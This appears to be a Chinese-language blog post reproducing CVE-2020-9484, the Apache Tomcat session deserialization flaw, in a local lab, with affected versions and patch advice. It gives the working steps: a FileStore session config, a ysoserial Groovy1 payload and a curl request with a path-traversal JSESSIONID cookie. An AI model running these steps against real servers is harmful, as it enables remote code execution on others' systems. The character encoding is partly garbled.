一、漏洞介紹
????????北京時(shí)間2020年05月20日,Apache官方發(fā)布了 Apache Tomcat 遠(yuǎn)程代碼執(zhí)行 的風(fēng)險(xiǎn)通告,該漏洞編號(hào)為 CVE-2020-9484。
Apache Tomcat 是一個(gè)開(kāi)放源代碼、運(yùn)行servlet和JSP Web應(yīng)用軟件的基于Java的Web應(yīng)用軟件容器。當(dāng)Tomcat使用了自帶session同步功能時(shí),使用不安全的配置(沒(méi)有使用EncryptInterceptor)會(huì)存在反序列化漏洞,攻擊者通過(guò)精心構(gòu)造的數(shù)據(jù)包, 可以對(duì)使用了自帶session同步功能的Tomcat服務(wù)器進(jìn)行攻擊。
二、影響版本
Apache Tomcat: 10.0.0-M1 to 10.0.0-M4
Apache Tomcat: 9.0.0.M1 to 9.0.34
Apache Tomcat: 8.5.0 to 8.5.54
Apache Tomcat: 7.0.0 to 7.0.103
三、漏洞復(fù)現(xiàn)
1、環(huán)境搭建
需要環(huán)境:虛擬機(jī)、centos 7 系統(tǒng)
安裝tomcat需要jdk1.8,安裝教程可以去Kali-JDK1-8安裝 - 簡(jiǎn)書(shū)??????
下載安裝tomcat,
wget https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz
?然后呢,創(chuàng)建一個(gè)文件夾用來(lái)把tomcat目錄,將tomcat解壓進(jìn)去
mkdir /usr/local/tomcat
tar -zxvf tomcat-10.0.0-M4.tar.gz -C /usr/local/tomcat/
?修改/usr/local/tomcat/apache-tomcat-10.0.0-M4/conf
/context.xlm 添加Manager? ? 保存退出
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
</Manager>
?下載groovy-2.3.9.jar,然后將groovy-2.3.9.jar 放入/usr/local/tomcat/apache-tomcat-10.0.0-M4/lib
目錄下?
在lib下執(zhí)行:
wget https://repo1.maven.org/maven2/org/codehaus/groovy/groovy/2.3.9/groovy-2.3.9.jar
?
運(yùn)行tomcat:在usr/local/tomcat/apache-tomcat-10.0.0-M4/bin目錄下運(yùn)行catalina.sh start
/usr/local/tomcat/apache-tomcat-10.0.0-M4/bin/catalina.sh start
?訪問(wèn)http://127.0.0.1:8080端口,顯示如下界面,說(shuō)明安裝成功
?2、漏洞復(fù)現(xiàn)
下載ysoserial 一個(gè)生成java反序列化 payload 的 .jar 包
下載地址: https://github.com/frohoff/ysoserial.git
用瀏覽器下載,解壓,并生成一個(gè)jar包,復(fù)制進(jìn)linux系統(tǒng)
生成jar包的方式,進(jìn)入文件夾的目錄輸入 輸入命令: mvn package
編譯有點(diǎn)慢需要幾分鐘世間
編譯完成后在target目錄下,有jar包
?
執(zhí)行下面語(yǔ)句生成 payload
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "touch /tmp/2333" > /tmp/test.session
?使用以下命令訪問(wèn)tomcat服務(wù)
curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'
?雖然顯示報(bào)錯(cuò),但是也執(zhí)行了。在/tmp目錄下創(chuàng)建了2333目錄
?修改建議
?
通用修補(bǔ)建議:
- 升級(jí)到 Apache Tomcat 10.0.0-M5 及以上版本
- 升級(jí)到 Apache Tomcat 9.0.35 及以上版本
- 升級(jí)到 Apache Tomcat 8.5.55 及以上版本
- 升級(jí)到 Apache Tomcat 7.0.104 及以上版本
臨時(shí)修補(bǔ)建議:
禁止使用Session持久化功能FileStore。
參考鏈接:
https://github.com/masahiro331/CVE-2020-9484
https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-429529.html
https://github.com/threedr3am/tomcat-cluster-session-sync-exp文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-429529.html
到了這里,關(guān)于Tomcat Session(CVE-2020-9484)反序列化漏洞復(fù)現(xiàn)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!